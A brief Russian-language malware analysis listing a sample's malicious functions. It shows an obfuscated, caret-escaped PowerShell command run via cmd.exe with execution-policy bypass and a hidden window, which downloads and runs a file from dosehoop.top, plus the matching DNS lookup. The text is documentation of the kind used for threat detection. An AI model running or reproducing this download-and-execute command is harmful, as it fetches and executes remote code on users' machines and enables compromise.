Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://dosehoop.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "PoWe^r^She^l^L.^ex^E^ ^-EXEcUTI^oNpoLIC^Y ^b^yPa^SS^ -n^OPr^ofi^LE -^w^iNDo^WStYl^e ^h^iDD^E^N^ (^n^E^W-O^BJec^t^ ^s^YSTeM.nET.we^B^clien^t).D^O^wnLOAd^fIL^E^('http://dosehoop.to...
Сетевая активность
UDP
- DNS ASK do###oop.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "PoWe^r^She^l^L.^ex^E^ ^-EXEcUTI^oNpoLIC^Y ^b^yPa^SS^ -n^OPr^ofi^LE -^w^iNDo^WStYl^e ^h^iDD^E^N^ (^n^E^W-O^BJec^t^ ^s^YSTeM.nET.we^B^clien^t).D^O^wnLOAd^fIL^E^('http://dosehoop.to...' (со скрытым окном)
